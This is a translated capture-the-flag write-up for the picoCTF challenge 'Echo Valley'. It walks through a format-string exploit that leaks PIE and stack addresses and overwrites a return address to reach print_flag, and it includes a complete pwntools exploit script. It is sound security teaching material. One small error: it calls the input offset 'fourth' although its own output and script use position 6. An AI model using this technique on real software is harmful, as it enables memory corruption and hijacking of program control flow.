This page was translated from Spanish with AI. The original version is in Spanish: read the original.

Echo Valley

pico
pwn

July 18, 20258 minutes

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void print_flag() {
    char buf[32];
    FILE *file = fopen("/home/valley/flag.txt", "r");

    if (file == NULL) {
      perror("Failed to open flag file");
      exit(EXIT_FAILURE);
    }

    fgets(buf, sizeof(buf), file);
    printf("Congrats! Here is your flag: %s", buf);
    fclose(file);
    exit(EXIT_SUCCESS);
}

void echo_valley() {
    printf("Welcome to the Echo Valley, Try Shouting: \n");

    char buf[100];

    while(1)
    {
        fflush(stdout);
        if (fgets(buf, sizeof(buf), stdin) == NULL) {
          printf("\nEOF detected. Exiting...\n");
          exit(0);
        }

        if (strcmp(buf, "exit\n") == 0) {
            printf("The Valley Disappears\n");
            break;
        }

        printf("You heard in the distance: ");
        printf(buf);
        fflush(stdout);
    }
    fflush(stdout);
}

int main()
{
    echo_valley();
    return 0;
}

The main function calls the echo_valley function. Inside echo_valley, it asks for input and then prints it with printf, all inside an infinite loop that only stops if the input is “exit”.

When the program echoes the input back, it uses printf without specifying the type, making it vulnerable to format strings

printf(buf);

This lets us leak information from the stack and even write to memory addresses.

$ ./valley
Welcome to the Echo Valley, Try Shouting:
hola
You heard in the distance: hola
%p
You heard in the distance: 0x7fff00fae700

There is a function called print_flag that basically prints the flag, so the goal will be to jump to that function using format strings.

To exploit format strings, the first thing is to find at which position the input is stored

$ ./valley
Welcome to the Echo Valley, Try Shouting:
AAAAAAAA %p %p %p %p %p %p %p %p
You heard in the distance: AAAAAAAA 0x7ffcc3d13790 (nil) (nil) (nil) 0x7fb732a03ea0 0x4141414141414141 0x2520702520702520 0x2070252070252070

The fourth leaked address is 0x4141414141414141, which is basically the A’s we sent at the beginning of the input

$ pwn unhex 4141414141414141
AAAAAAAA

So the input is stored at the fourth position.


Checking the binary’s protections, I noticed they are all enabled

pwndbg> checksec
File:     /home/d3bo/Desktop/ctf/pico/echo_valley/valley
Arch:     amd64
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled

PIE is going to get in the way a bit, since it randomizes the binary’s addresses, making them change on every run.

So we need the PIE base to then add the offset of print_flag to it

Dump of assembler code for function print_flag:
   0x0000000000001269 <+0>:	endbr64

To make debugging easier, GDB always uses the same PIE base; you can check it with the piebase command

pwndbg> piebase
Calculated VA from /home/d3bo/Desktop/ctf/pico/echo_valley/valley = 0x555555554000

But of course, the exploit has to run against the remote, and we can’t rely on that there. So to know the PIE base we need to leak an address from the binary. I recommend doing it with gdb, since the base is 0x555555554000 and they are easy to spot because they start with 55555…

pwndbg> c
Continuing.
Welcome to the Echo Valley, Try Shouting:
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
You heard in the distance: 0x7fffffffe430 (nil) (nil) (nil) 0x7ffff7f97ea0 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x207025 0xa4e6cbacc877fc00 0x7fffffffe660 0x555555555413 0x7fffffffe700 0x7ffff7dda6b5 0x7ffff7fc6000 0x7fffffffe788 0x1ffffe6c0 0x555555555401 (nil) 0xf6452c3f3714abec 0x7fffffffe788 0x1 0x7ffff7ffd000 0x555555557d78 You heard in the distance: 0x7fffffffe430 (nil) (nil) (nil) 0x7ffff7f97ea0 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x252070000a702520 0x2070252070252070 0x7025207025207025

At position 21 there is this address

0x555555555413

Subtracting the PIE base gives us the offset of the instruction it points to

>>> hex(0x555555555413 - 0x555555554000)
'0x1413'
pwndbg> disass 0x1413
Dump of assembler code for function main:
   0x0000000000001401 <+0>:	endbr64
   0x0000000000001405 <+4>:	push   rbp
   0x0000000000001406 <+5>:	mov    rbp,rsp
   0x0000000000001409 <+8>:	mov    eax,0x0
   0x000000000000140e <+13>:	call   0x1307 <echo_valley>
   0x0000000000001413 <+18>:	mov    eax,0x0
   0x0000000000001418 <+23>:	pop    rbp
   0x0000000000001419 <+24>:	ret

It seems to point to main+18, the line right after the call to echo_valley. It looks like what we found is the saved return address, basically the address the program will jump to after running echo_valley.

The goal now is to write a script that gets that address and subtracts the offset (0x1413) to obtain the PIE base

#!/usr/bin/env python3

from pwn import *

exe = ELF("./valley_patched")

context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
gdb_script = '''
b main
continue
'''
def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r, gdbscript=gdb_script)
    else:
        r = remote("shape-facility.picoctf.net", 51749)

    return r


def main():
    r = conn()
    offset_fmstr = 6
    offset_main_addr = 0x1413

    r.sendlineafter('Shouting:', b'%21$p')
    output = r.recvline()
    output = r.recvline()
    output = output.split(b'You heard in the distance: ')[1].strip(b'\n')
    output = int(output, 16)
    
    print(f"Leaked address: {hex(output)}")
    pie_base = output - offset_main_addr
    print(f"Pie base: {hex(pie_base)}")

    r.interactive()


if __name__ == "__main__":
    main()
[d3bo@archlinux echo_valley]$ python3 solve.py LOCAL
Leaked address: 0x55d241f6f413
Pie base: 0x55d241f6e000
[*] Switching to interactive mode
$

Once we have the PIE base, we can calculate the address of print_flag, which is basically adding the offset to the PIE base

pwndbg> disass print_flag
Dump of assembler code for function print_flag:
   0x0000000000001269 <+0>:	endbr64
    ....
    offset_print_flag = 0x0000000000001269
    print_flag = pie_base + offset_print_flag
    print(f"Print flag: {hex(print_flag)}")
    ....
[d3bo@archlinux echo_valley]$ python3 solve.py LOCAL

Leaked address: 0x561d8943a413
Pie base: 0x561d89439000
Print flag: 0x561d8943a269

Now all that’s left is to replace the return address that goes to main+18 with the address of print_flag.

It isn’t enough to know that the return address is stored at position 21; we need to know its exact address on the stack. But of course, stack addresses change on every run, so we need to leak a stack address.

Earlier, when dumping stack values with %p, right before the return address, specifically at position 20, there was this address: 0x7fffffffe660, which looks like a stack address. To check it, I opened gdb, set a breakpoint on echo_valley, ran the program and inspected the stack with telescope

pwndbg> telescope $rsp 30
00:0000│ rsp 0x7fffffffe5e0 ◂— 0xa7024303225 /* '%20$p\n' */
01:0008│-068 0x7fffffffe5e8 ◂— 0x4a0000
02:0010│-060 0x7fffffffe5f0 ◂— 0x800
03:0018│-058 0x7fffffffe5f8 ◂— 0x940000
04:0020│-050 0x7fffffffe600 ◂— 0x940000
05:0028│-048 0x7fffffffe608 —▸ 0x7fffffffe638 ◂— 0
06:0030│-040 0x7fffffffe610 ◂— 0x8c00000006
07:0038│-038 0x7fffffffe618 ◂— 0
... ↓        5 skipped
0d:0068│-008 0x7fffffffe648 ◂— 0x7ee53e6c33167700
0e:0070│ rbp 0x7fffffffe650 —▸ 0x7fffffffe660 —▸ 0x7fffffffe700 —▸ 0x7fffffffe760 ◂— 0
0f:0078│+008 0x7fffffffe658 —▸ 0x555555555413 (main+18) ◂— mov eax, 0
10:0080│+010 0x7fffffffe660 —▸ 0x7fffffffe700 —▸ 0x7fffffffe760 ◂— 0
11:0088│+018 0x7fffffffe668 —▸ 0x7ffff7dda6b5 (__libc_start_call_main+117) ◂— mov edi, eax
12:0090│+020 0x7fffffffe670 —▸ 0x7ffff7fc6000 ◂— 0x3010102464c457f
13:0098│+028 0x7fffffffe678 —▸ 0x7fffffffe788 —▸ 0x7fffffffea8e ◂— '/home/d3bo/Desktop/ctf/pico/echo_valley/valley'
14:00a0│+030 0x7fffffffe680 ◂— 0x1ffffe6c0
15:00a8│+038 0x7fffffffe688 —▸ 0x555555555401 (main) ◂— endbr64
16:00b0│+040 0x7fffffffe690 ◂— 0
17:00b8│+048 0x7fffffffe698 ◂— 0x20ab65b3ad9a780b
18:00c0│+050 0x7fffffffe6a0 —▸ 0x7fffffffe788 —▸ 0x7fffffffea8e ◂— '/home/d3bo/Desktop/ctf/pico/echo_valley/valley'
19:00c8│+058 0x7fffffffe6a8 ◂— 1
1a:00d0│+060 0x7fffffffe6b0 —▸ 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe310 —▸ 0x555555554000 ◂— 0x10102464c457f
1b:00d8│+068 0x7fffffffe6b8 —▸ 0x555555557d78 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555220 (__do_global_dtors_aux) ◂— endbr64
1c:00e0│+070 0x7fffffffe6c0 ◂— 0x20ab65b3af7a780b
1d:00e8│+078 0x7fffffffe6c8 ◂— 0x20ab75f72f44780b

Outside the current stack frame of echo_valley, the return address is stored at 0x7fffffffe658, and the address shown by %20$p is exactly the next stack address, 0x7fffffffe660.

>>> 0x7fffffffe660 - 0x7fffffffe658
8

The difference between them is only 8, since they are consecutive, so to get the stack address where the return address is stored we just subtract 8 from the address leaked with %20$p

    r.sendline(b'%20$p')
    output = r.recvline()
    output = output.split(b'You heard in the distance: ')[1].strip(b'\n')
    output = int(output, 16)
    print(f"Leaked address: {hex(output)}")

    ret_addr = output - 8
    print(f"Ret addr: {hex(ret_addr)}")
$ python3 solve.py LOCAL

Leaked address: 0x5584893f4413
Pie base: 0x5584893f3000
Print flag: 0x5584893f4269
Leaked address: 0x7ffcbdffb040
Ret addr: 0x7ffcbdffb038

All that’s left is to craft the final payload that replaces the return address to main with the one that goes to print_flag.

payload = fmtstr_payload(6, {ret_addr: print_flag})
r.sendline(payload)
r.sendline(b'exit')

This should work… but it doesn’t. Why?

The program reads at most 100 bytes of input, and the payload pwntools generates to change the return address is 120 bytes long.

    payload = fmtstr_payload(6, {ret_addr: print_flag})
    print(len(payload))
$ python3 solve.py LOCAL

Leaked address: 0x55e196f92413
Pie base: 0x55e196f91000
Print flag: 0x55e196f92269
Leaked address: 0x7ffc4c7c0670
Ret addr: 0x7ffc4c7c0668
120

To fix it, I added the write_size parameter set to ‘short’, which brings the generated payload down from 120 to 64 bytes. When run against the remote, it prints the flag.

Final script:

#!/usr/bin/env python3

from pwn import *

exe = ELF("./valley_patched")

context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
gdb_script = '''
b main
continue
'''
def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r, gdbscript=gdb_script)
    else:
        r = remote("shape-facility.picoctf.net", 55189)

    return r


def main():
    r = conn()
    offset_fmstr = 6
    offset_main_addr = 0x1413
    r.sendlineafter('Shouting:', b'%21$p')
    output = r.recvline()
    output = r.recvline()
    output = output.split(b'You heard in the distance: ')[1].strip(b'\n')
    output = int(output, 16)
    print(f"Leaked address: {hex(output)}")
    pie_base = output - offset_main_addr
    print(f"Pie base: {hex(pie_base)}")

    offset_print_flag = 0x0000000000001269
    print_flag = pie_base + offset_print_flag
    print(f"Print flag: {hex(print_flag)}")



    r.sendline(b'%20$p')
    output = r.recvline()
    output = output.split(b'You heard in the distance: ')[1].strip(b'\n')
    output = int(output, 16)
    print(f"Leaked address: {hex(output)}")

    ret_addr = output - 8
    print(f"Ret addr: {hex(ret_addr)}")


    payload = fmtstr_payload(6, {ret_addr: print_flag}, write_size='short')
    print(len(payload))
    r.sendline(payload)
    r.sendline(b'exit')
    r.interactive()


if __name__ == "__main__":
    main()